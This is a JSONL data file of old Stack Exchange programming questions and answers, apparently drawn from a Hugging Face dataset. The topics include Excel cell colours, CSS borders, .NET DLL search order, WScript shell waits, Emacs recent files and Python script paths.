"tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:49.390268"}
{"id": "hf_12a3dc073855", "question": "<p>Each cell contains some text and a background color. So I have some cells that are blue and some that are red. What function do I use to count the number of red cells?</p>\n\n<p>I have tried <code>=COUNTIF(D3:D9,CELL(\"color\",D3))</code> with no success (Where <code>D3</code> is red).</p>\n", "question_body": "", "answer": "Excel has no way of gathering that attribute with it's built-in functions. If you're willing to use some VB, all your color-related questions are answered here:\nhttp://www.cpearson.com/excel/colors.aspx\nExample form the site:\nThe SumColor function is a color-based\n  analog of both the SUM and SUMIF\n  function. It allows you to specify\n  separate ranges for the range whose\n  color indexes are to be examined and\n  the range of cells whose values are to\n  be summed. If these two ranges are the\n  same, the function sums the cells\n  whose color matches the specified\n  value. For example, the following\n  formula sums the values in B11:B17\n  whose fill color is red.\n```\n=SUMCOLOR(B11:B17,B11:B17,3,FALSE)\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:49.425891"}
{"id": "hf_2acd15d5212c", "question": "<p>When I turn an image (<code>&lt;img&gt;</code>) into a hyperlink (by wrapping it in <code>&lt;a&gt;</code>), Firefox adds a black border around the image.  Safari does not display the same border. </p>\n\n<p>What CSS declaration would be best to eliminate the border?</p>\n", "question_body": "", "answer": "```\n```\na img {\n    border-width: 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:49.449686"}
{"id": "hf_2e3920dbdfdd", "question": "<p>I know that the .NET framework looks for referenced DLLs in several locations</p>\n\n<ul>\n<li>Global assembly cache (GAC)</li>\n<li>Any private paths added to the AppDomain</li>\n<li>The current directory of the executing assembly</li>\n</ul>\n\n<p>What order are those locations searched? Is the search for a DLL ceased if a match is found or does it continue through all locations (and if so, how are conflicts resolved)?</p>\n\n<p><em>Also, please confirm or deny those locations and provide any other locations I have failed to mention.</em></p>\n", "question_body": "", "answer": "No longer is the current directory searched first when loading DLLs! This change was also made in Windows XP SP1. The default behavior now is to look in all the system locations first, then the current directory, and finally any user-defined paths.\n(ref.\nhttp://weblogs.asp.net/pwilson/archive/2003/06/24/9214.aspx\n)\nThe default search order, which can be changed by the application, is also described on MSDN:\nDynamic-Link Library Search Order\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:49.477821"}
{"id": "hf_94d71cb257e5", "question": "<p>The .Net generated code for a form with the \"DefaultButton\" attribute set contains poor javascript that allows the functionality to work in IE but not in other browsers (Firefox specifcially). </p>\n\n<p>Hitting enter key does submit the form with all browsers but Firefox cannot disregard the key press when it happens inside of a &lt;textarea&gt; control. The result is a multiline text area control that cannot be multiline in Firefox as the enter key submits the form instead of creating a new line. </p>\n\n<p>For more information on the bug, <a href=\"http://www.velocityreviews.com/forums/t367383-formdefaultbutton-behaves-incorrectly.html\" rel=\"noreferrer\">read it here</a>.</p>\n\n<p>This could be fixed in Asp.Net 3.0+ but a workaround still has to be created for 2.0. </p>\n\n<p>Any ideas for the lightest workaround (a hack that doesn't look like a hack =D)? The solution in the above link scares me a little as it could easily have unintended side-effects.</p>\n", "question_body": "", "answer": "For this particular issue, the reason is because javascript generated by \nASP.NET 2.0 has some IE only notation: event.srcElement is not availabe in \nFireFox (use event.target instead):\n```\n```\nfunction WebForm_FireDefaultButton(event, target) {\nif (!__defaultFired && event.keyCode == 13 && !(event.srcElement && \n(event.srcElement.tagName.toLowerCase() == \"textarea\"))) {\nvar defaultButton;\nif (__nonMSDOMBrowser) {\ndefaultButton = document.getElementById(target);\n}\nelse {\ndefaultButton = document.all[target];\n}\nif (defaultButton && typeof(defaultButton.click) != \n\"undefined\") {\n__defaultFired = true;\ndefaultButton.click();\nevent.cancelBubble = true;\nif (event.stopPropagation) event.stopPropagation();\nreturn false;\n}\n}\nreturn true;\n}\n```\n```\nIf we change the first 2 lines into:\n```\n```\nfunction WebForm_FireDefaultButton(event, target) {\nvar element = event.target || event.srcElement;\nif (!__defaultFired && event.keyCode == 13 && !(element && \n(element.tagName.toLowerCase() == \"textarea\"))) {\n```\n```\nPut the changed code in a file and then do\n```\n```\nprotected void Page_Load(object sender, EventArgs e)\n{\nClientScript.RegisterClientScriptInclude(\"js1\", \"JScript.js\");\n}\n```\n```\nThen it will work for both IE and FireFox.\nSource:\nhttp://www.velocityreviews.com/forums/t367383-formdefaultbutton-behaves-incorrectly.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:49.525910"}
{"id": "hf_94db6aea0a08", "question": "<p>Pretty much what the title says really.</p>\n\n<p>We have some code that is .NET 1.1 based and no real desire to up-convert it.  However, we are looking to add developers to the team and they will need copies of Visual Studio.</p>\n\n<p>My understanding is that they will need VS 2003 - as this is the only IDE that supports .NET 1.1 but I am wondering if we are still able to purchase it!</p>\n", "question_body": "", "answer": "You can build 1.1 projects in Visual Studio 2005:\nhttp://www.hanselman.com/blog/BuildingNET11ProjectsUsingVisualStudio2005.aspx\nThe MSBuild Everett Environment (MSBEE) has been announced, and soon this will be a (reasonably) supported scenario and we'll all be able to build both 1.1 and 2.0 versions of .NET code on Visual Studio 2005.\nAlso read this post about this issue:\nhttp://blogs.msdn.com/clichten/archive/2005/11/08/490541.aspx\nAnd also:\nMSBuild Extras\n– Toolkit for .NET 1.1 “MSBee” is an addition to MSBuild that allows developers to build managed applications using Visual Studio 2005 projects that target .NET 1.1.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:49.561559"}
{"id": "hf_2afa45a6a6e2", "question": "<p>This is pretty simple, I come from a swing/awt background.</p>\n\n<p>I'm just wondering what the proper way to set the background color for a SWT widget is?</p>\n\n<p>I've been trying:</p>\n\n<pre><code>widget.setBackground( );\n</code></pre>\n\n<p>Except I have no idea how to create the color Object in SWT?</p>\n", "question_body": "", "answer": "To create a color, try this:\n```\n```\nDevice device = Display.getCurrent ();\nColor red = new Color (device, 255, 0, 0);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:49.585488"}
{"id": "hf_d23b1d0f85f8", "question": "<p>exact code will be helpful. I assume the DirectoryServices namespace does it but I can't find the method that does it.</p>\n\n<hr>\n\n<p>I need actual C# code. All the samples I found so far are VB or VBScript. The C# examples I found are for reading/setting ADSI properties. A command like backup seems to have a certain .NET syntax which I am not clear how to use. In VB there's a straightforward backup command. Need an equivalent in .NET.</p>\n", "question_body": "", "answer": "You'll need to use ADSI objects. The\nIIsComputer.Backup\nmethod is what you want.\nAs far as how to access ADSI objects from C#, check out this\nMSDN page\n.\nEDIT:\nHere's a\nsample implementation in C#\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:49.636442"}
{"id": "hf_508586e6fc57", "question": "<p>What options exist for accessing different databases from C++?\nPut differently, what alternatives are there to ADO?\nWhat are the pros and cons?</p>\n", "question_body": "", "answer": "Microsoft ODBC\n.\nThe MFC ODBC classes such as\nCDatabase\n.\nOleDB\n(via COM).\nAnd you can always go through the per-RDBMS native libraries (for example, the\nSQL Server native library\n)\nDAO\n(don't).\n3rd party ORM providers.\nI would recommend going through ODBC or OleDB by default. Native libraries really restrict you, DAO is no fun, there aren't a lot of great 3rd-party ORM for C++/Windows.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:49.735650"}
{"id": "hf_ef2dbbb95225", "question": "<p>How would you describe and promote WCF as a technology to a non-technical client/manager/CEO/etc?</p>\n\n<p>What are competing solutions or ideas that they might bring up(such as those they read about in their magazines touting new technology)?</p>\n\n<p>What is WCF <em>not</em> good for that you've seen people try to shoehorn it into?</p>\n\n<p>-Adam</p>\n", "question_body": "", "answer": "In a single sentence, I'd say that WCF is \"software that lets you set up and manage communication between systems a lot more efficiently than in the past\".\nI can see them bringing up BizTalk as a competitor, but of course you could say that WCF works with it and is in fact used as base technology for it in the more recent versions.\nI'm not sure if I can think of any inappropriate shoe-horning of WCF that I have seen, although there are plenty of legacy apps that will probably be \"upgraded\" to WCF that don't really need to be for any real business reason.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:49.796273"}
{"id": "hf_8ba97079fe6d", "question": "<p>I know that it does in PHP, and I'm pretty sure it does in Java. I haven't used the latest versions of .NET, so I won't speak for them. It seems very awkward, but I was wondering if there was an underlying reason for this.</p>\n", "question_body": "", "answer": "One reason is compatibility - anyone who has done 'check for existence' knows to exclude directories; changing that behaviour may confuse those who rely on that behaviour.\nSecondly, the underlying code often does a check on the operating system for existence in a catlog of filesystem entries - to the OS, a directory is the same as a file. In other words, it's looking for an entry of 'xyz' in the catalog not a file with name 'xyz' in the catalog.\nBackwards compatability is the main reason, I suspect.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:49.820218"}
{"id": "hf_b5052149711b", "question": "<p>I'd like to know which libraries are used by executables on my system. More specifically, I'd like to rank which libraries are used the most, along with the binaries that use them. How can I do this?</p>\n", "question_body": "", "answer": "to learn what libraries a binary uses, use ldd\n```\n```\nldd path/to/the/tool\n```\n```\nYou'd have to write a little shell script to get to your system-wide breakdown.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:49.879546"}
{"id": "hf_2a1d3f1aa4ab", "question": "<p>What kind of multi-threading issues do you have to be careful for in asp.net?  </p>\n", "question_body": "", "answer": "Programmatic Caching is one area which immediately comes to my mind. It is a great feature which needs to be used carefully. Since it is shared across requests, you have to put locks around it before updating it.\nAnother place I would check is any code accessing filesystem like writing to log files. If one request has a read-write lock on a file, other concurrent requests will error out if not handled properly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:49.997769"}
{"id": "hf_fa2d83e92086", "question": "<p>We're using Mercurial where I work and I want to have a setup similar to how I used SVN:</p>\n\n<ul>\n<li>Trunk</li>\n<li>Tags\n\n<ul>\n<li>Production</li>\n</ul></li>\n<li>Branches</li>\n</ul>\n\n<p>Since Mercurial supports branches natively, I know how to create a named branch, but I can't find any documentation on how to repeatedly merge 'Trunk' with 'Production'. </p>\n\n<p>Quite simply, I want to have a development branch for normal work and a production branch that I routinely pull changes from the development branch into. How do I do this with Mercurial?</p>\n", "question_body": "", "answer": "Something like\n```\nhg transplant\n```\n? That's what we use on our dev and prod branches.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.028477"}
{"id": "hf_c053c31924fa", "question": "<p>Often time I need to add a control to a dialog after the dialog has been generated via dialog template and CreateDialogIndirect.  In these cases the tab order is set by the dialog template and there is no obvious way to change the tab order by including a newly created control.</p>\n", "question_body": "", "answer": "I recently discovered that you can use SetWindowPos to accomplish this.  Determine which control after which you want to insert the new control in the tab order then use SetWindowPos like this:\n```\n```\nSetWindowPos(hNewControl, hOldControl, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE);\n```\n```\nThis changes the z-order of controls which, in turn, establishes the tab order.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.053073"}
{"id": "hf_51a643fe9ce5", "question": "<p>This is the text from MSDN comment: \"According to the book ATL Internals (2ed) the use of attributes is deprecated and should not be used in new ATL projects.\"</p>\n\n<p>But WHY?!! </p>\n", "question_body": "", "answer": "In ATL these attributes were a compiler trick. They were not a core part of the platform like attributes in C#. They were also more confusing to debug than macros's and the method of dumping generated attribute code was a hassle.\nI suspect another issue is likely to have been C++ compiler compatibility and standards-adherence. Attributes didn't make for more beautiful C++ code, and perhaps this syntax may be used in a future version of a real C++ standard.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.163614"}
{"id": "hf_0af454fa9784", "question": "<p>It's really quite annoying as they are not part of the project.</p>\n", "question_body": "", "answer": "The Visual Studio Web Deployment addin lets you exclude folders and more.\nVS2005\nVS2008\nAlso a decent writeup on the\nWeb Deployment addin", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.241251"}
{"id": "hf_66afd8fccf30", "question": "<p>I'm trying to implement Drag &amp; Drop functionality with source being a TreeView control. When I initiate a drag on a node, I'm getting:</p>\n\n<p><em>Invalid FORMATETC structure (Exception from HRESULT: 0x80040064 (DV_E_FORMATETC))</em></p>\n\n<p>The ItemDrag handler (where the exception takes place), looks like:</p>\n\n<pre><code>private void treeView_ItemDrag(object sender,\n        System.Windows.Forms.ItemDragEventArgs e)\n{\n\n        this.DoDragDrop(e.Item, DragDropEffects.Move);\n}\n</code></pre>\n\n<p>Does anyone know the root cause of this and how to remedy it? (.NET 2.0, Windows XP SP2)</p>\n", "question_body": "", "answer": "```\nFORMATETC\n```\nis a type of application clipboard, for lack of a better term.  In order to pull off some of the visual tricks of draging around the tree node, it has to be copied into this clipboard with its source description.  The source control loads its info into the\n```\nFORMATETC\n```\nclipboard and sends it to the target object.  It looks like the error occurs on the drop and not on the drag. The\n```\nDV\n```\nin\n```\nDV_E_FORMATETC\n```\ntypically indicates the error occurrs on the drop step.\nThe destination doesn't look like it likes what you are droping on it. The clipboard may be corrupt or the drop destination may not be configured to understand it.\nI recommend you try one of two things.\nRemove the original tree structure and destination. Dump your dlls.  Close everything.  Open up and put the treeview and destination back on the form.  It may have just been poorly formed and not fully populating the\n```\nFORMATETC\n```\nstructure.\nTry putting another treeview and droping to that.  If you are droping to another tree and it works you know your oranges to oranges work and it isn't the treeview.  It may be the destination if it is a grid or listview.  You may need to change those structures to be able to receive the drop.\nNot that it helps but the structure is something like this:\n```\n```\ntypedef struct tagFORMATETC\n{\n  CLIPFORMAT      cfFormat;\n  DVTARGETDEVICE  *ptd;\n  DWORD           dwAspect;\n  LONG            lindex;\n  DWORD           tymed;\n} FORMATETC, *LPFORMATETC;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.278609"}
{"id": "hf_eabf500907b5", "question": "<p>One of my co-workers claims that even though the execution path is cached, there is no way parameterized SQL generated from an ORM is as quick as a stored procedure. Any help with this stubborn developer?</p>\n", "question_body": "", "answer": "I would start by reading this article:\nhttp://decipherinfosys.wordpress.com/2007/03/27/using-stored-procedures-vs-dynamic-sql-generated-by-orm/\nHere is a speed test between the two:\nhttp://www.blackwasp.co.uk/SpeedTestSqlSproc.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.315549"}
{"id": "hf_c9679055ab35", "question": "<p>I'm using <a href=\"http://en.wikipedia.org/wiki/Windows_Script_Host#Usage\" rel=\"noreferrer\">WScript</a> to automate some tasks, by using WScript.Shell to call external programs.</p>\n\n<p>However, right now it does not wait for the external program to finish, and instead moves on. This causes issues because I have some tasks dependent on others finishing first.</p>\n\n<p>I am using code like:</p>\n\n<pre><code>ZipCommand = \"7za.exe a -r -y \" &amp; ZipDest &amp; BuildLabel &amp; \".zip \" &amp; buildSourceDir\n\nSet wshShell = WScript.CreateObject(\"Wscript.Shell\")\nwshShell.run ZipCommand\n</code></pre>\n\n<p>Is there a way to do this so it blocks until the shell executed program returns?</p>\n", "question_body": "", "answer": "If you use the \"Exec\" method, it returns a reference, so you can poll the \"Status\" property to determine when it is complete.  Here is a sample from\nmsdn\n:\n```\n```\nDim WshShell, oExec\nSet WshShell = CreateObject(\"WScript.Shell\")\n\nSet oExec = WshShell.Exec(ZipCommand)\n\nDo While oExec.Status = 0\n    WScript.Sleep 100\nLoop\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.361717"}
{"id": "hf_856d0cad9f28", "question": "<p>I'm currently working on putting together a fairly simple ORM tool to serve as a framework for various web projects for a client.  Most of the projects are internal and will not require massive amounts of concurrency and all will go against SQL Server.  I've suggested that they go with ORM tools like SubSonic, NHibernate, and a number of other open source projects out there, but for maintainability and flexibility reasons they want to create something custom.  So my question is this: What are some features that I should make sure to include in this ORM tool?  BTW, I'll be using MyGeneration to do the code generation templates.</p>\n", "question_body": "", "answer": "You need to go the nHibernate style, in my experience, and have it so that you have some kind of map, between your objects and the database. This allows your objects to have some things that are hard to represent in a database but are easier represented in POCOs.\nGeneration gets you started, by giving you classes that meet your schema, but if you plan on maintaining anything or testing anything, mapping is pain now for pleasure later.\nSubsonic is a great model, and its open source, if you must go generation, use their templates in myGeneration to get a leg up.\nBTW: I've done what you are doing, and I ended up with something very similar to subsonic, and now advise my clients to take the subsonic source, and fork it for themselves.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.386260"}
{"id": "hf_072ff8c65e8a", "question": "<p>I know this isn't strictly speaking a programming question but something I always hear from pseudo-techies is that having a lot of entries in your registry slows down your Windows-based PC. I think this notion comes from people who are trying to troubleshoot their PC and why it's running so slow and they open up the registry at some point and see leftover entries from programs they uninstalled ages ago.</p>\n\n<p>But is there any truth to this idea? I would not think so since the registry is essentially just a database and drilling down to an entry wouldn't take significantly longer on a larger registry. But does it?</p>\n\n<p><strong>EDIT:</strong> To be clear, I'm not looking for advice on how to make a PC run faster, or asking why my PC in particular is slow (it's not), I'm just curious if people who say \"bigger registry means slower PC\" are accurate or not.</p>\n", "question_body": "", "answer": "In short, not really.\nIn the old days when machines were slower the answer was yes; but having a modern processor rip through even a 60MB registry is not a problem.\nTypically, the real reason a modern machine starts running slow is due to everything from malware to virus scanners: Mcafee, Norton's, etc are prime targets in my mind.\nAlso, the WinSXS folder tends to grow as service packs and applications are installed.  This seems to have a negative impact on system performance.  There are only two possible solutions in this scenario.  First, if possible, reinstall the OS with the latest service pack already slipstreamed into the install.  Second, if that isn't possible AND you are running Vista with SP1, you can run the vsp1cln.exe tool (see\ntechnet\n) which will clean up a lot of the older versions of components.  Note that this tool can only be executed once and it does not allow you to roll back.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.414518"}
{"id": "hf_9dab5d34cb80", "question": "<p>As far as I can tell, this is isn't possible, so I'm really just hoping for a left field undocumented allocation hook function.<br>\nI want a way to track allocations like in <a href=\"http://msdn.microsoft.com/en-us/library/cy8c7wz5.aspx\" rel=\"nofollow noreferrer\">_CrtSetAllocHook</a>, but for <code>C#/.NET</code>.<br>\nThe only visibility to the garbage collector/allocation appears to be <a href=\"http://msdn.microsoft.com/en-us/library/system.gc.collectioncount(VS.80).aspx\" rel=\"nofollow noreferrer\">GC.CollectionCount</a>.<br>\nAnyone have any other .NET memory mojo?</p>\n", "question_body": "", "answer": "The CLR has a 'profiling API' that hooks into pretty much everything - it is what the commercial .NET memory profiling products use, I believe. Here is an MSDN link to the top level of the documentation:\n.NET Framework General Reference: About the Profiling API\nSee this MSDN magazine article for an introduction to the memory piece:\nInspect and Optimize Your Program's Memory Usage with the .NET Profiler API", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.442699"}
{"id": "hf_16a61f2e5969", "question": "<p>Does anyone have a good solution for integrating some C# code into a java application? </p>\n\n<p>The code is small, so I could re-write in java, but I would rather reuse the code if possible. Don't repeat yourself, etc. </p>\n\n<p>Also, I know I can expose the C# as a web service or whatever, but it has some security/encryption stuff in there, so I would rather keep it tightly integrated if possible.</p>\n\n<hr>\n\n<p>Edit: It's going to be on a server-based app, so \"downloading\" another runtime is irrelevant.</p>\n", "question_body": "", "answer": "If it's short, I think you're better off re-writing the code in java.  Downloading one 50Mb runtime is bad enough.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.478205"}
{"id": "hf_555089c700f7", "question": "<p>When I use Emacs I want to be able to easily display and navigate through a list of files I worked on from not just the current session but from previous sessions. (BTW, running Emacs 22.2 on Windows)</p>\n", "question_body": "", "answer": "From\nJoe Grossberg\n's blog (no longer available):\nBut if you're using GNU Emacs 21.2\n  (the latest version, which includes\n  this as part of the standard distro),\n  you can just put the following lines\n  into your .emacs file\n```\n```\n;; recentf stuff\n(require 'recentf)\n(recentf-mode 1)\n(setq recentf-max-menu-items 25)\n(global-set-key \"\\C-x\\ \\C-r\" 'recentf-open-files)\n```\n```\nThen, when you launch emacs, hit\nCTRL\n-\nX\nCTRL\n-\nR\n. It will show a list of\n  the recently-opened files in a buffer.\n  Move the cursor to a line and press\nENTER\n. That will open the file in\n  question, and move it to the top of\n  your recent-file list.\n(Note: Emacs records file names.\n  Therefore, if you move or rename a\n  file outside of Emacs, it won't\n  automatically update the list. You'll\n  have to open the renamed file with the\n  normal\nCTRL\n-\nX\nCTRL\n-\nF\nmethod.)\nJayakrishnan Varnam has a\npage\n  including screenshots\nof how this\n  package works.\nNote:\nYou don't need the\n```\n(require 'recentf)\n```\nline.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.502164"}
{"id": "hf_56b40df54c06", "question": "<p>Does anyone know if silverlight plugs into chrome, or when they plan to support it?</p>\n", "question_body": "", "answer": "This guy have had partial success with silverlight in chrome, but it does not seem to be supported:\nhttp://wildermuth.com/2008/09/02/Silverlight_2_and_Google_Chrome\nFrom The Microsoft Silverlight Team in the\nsilverlight forum\n:\nHello, currently we don't have plans\n  to support Chrome. We will support it\n  in the future if it gains enough\n  market share. Please understand, each\n  browser implements the plug-in model\n  differently, so it'll be a lot of\n  effort to officially support a browser\n  100%... By the way, IE 8 also runs\n  each tab in its own process. If a tab\n  crashes, other tabs will still work\n  fine.\nUPDATE:\nJon Galloway has just posted instructions on how to get silverlight successfully running on Chrome here:\nhttp://weblogs.asp.net/jgalloway/archive/2008/09/17/silverlight-on-chrome.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.526281"}
{"id": "hf_73b02fba7a1b", "question": "<p>This has been driving me crazy for a few days.  Why doesn't the following work?</p>\n\n<blockquote>\n<pre><code>    Dim arr(3, 3) As Integer\n\n    For y As Integer = 0 To arr.GetLength(0) - 1\n        For x As Integer = 0 To arr.GetLength(y) - 1\n            arr(y, x) = y + x\n        Next\n    Next\n</code></pre>\n</blockquote>\n\n<p>Also, what if the array looked like this instead?</p>\n\n<pre><code>{ {1, 2, 3},\n  {4, 5, 6, 7, 8, 9, 9, 9},\n  {5, 4, 3, 2}\n}\n</code></pre>\n", "question_body": "", "answer": "```\narr.GetLength(y)\n```\nshould be\n```\narr.GetLength(1)\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.562732"}
{"id": "hf_0163d44e1836", "question": "<p>Is there a good way to adjust the size of a <code>UITextView</code> to conform to its content? Say for instance I have a <code>UITextView</code> that contains one line of text:</p>\n\n<pre><code>\"Hello world\"\n</code></pre>\n\n<p>I then add another line of text:</p>\n\n<pre><code>\"Goodbye world\"\n</code></pre>\n\n<p>Is there a good way in Cocoa Touch to get the <code>rect</code> that will hold all of the lines in the text view so that I can adjust the parent view accordingly?</p>\n\n<p>As another example, look at the notes' field for events in the Calendar application - note how the cell (and the <code>UITextView</code> it contains) expands to hold all lines of text in the notes' string.</p>\n", "question_body": "", "answer": "Did you try\n```\n[textView sizeThatFits:textView.bounds]\n```\n?\nEdit: sizeThatFits returns the size but does not actually resize the component. I'm not sure if that's what you want, or if\n```\n[textView sizeToFit]\n```\nis more what you were looking for. In either case, I do not know if it will perfectly fit the content like you want, but it's the first thing to try.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.585589"}
{"id": "hf_9dcd77e6cd95", "question": "<p>I have scripts calling other script files but I need to get the filepath of the file that is currently running within the process. </p>\n\n<p>For example, let's say I have three files. Using <a href=\"http://docs.python.org/library/functions.html#execfile\" rel=\"noreferrer\">execfile</a>:</p>\n\n<ul>\n<li><code>script_1.py</code> calls <code>script_2.py</code>. </li>\n<li>In turn, <code>script_2.py</code> calls <code>script_3.py</code>. </li>\n</ul>\n\n<p>How can I get the file name and path of <strong><code>script_3.py</code></strong>, <em>from code within <code>script_3.py</code></em>, without having to pass that information as arguments from <code>script_2.py</code>?</p>\n\n<p>(Executing <code>os.getcwd()</code> returns the original starting script's filepath not the current file's.)</p>\n", "question_body": "", "answer": "It's not entirely clear what you mean by \"the filepath of the file that is currently running within the process\".\n```\nsys.argv[0]\n```\nusually contains the location of the script that was invoked by the Python interpreter.\nCheck the\nsys documentation\nfor more details.\nAs @Tim and @Pat Notz have pointed out, the __file__ attribute provides access to\nthe file from which the module was\n  loaded, if it was loaded from a file", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:50.622546"}
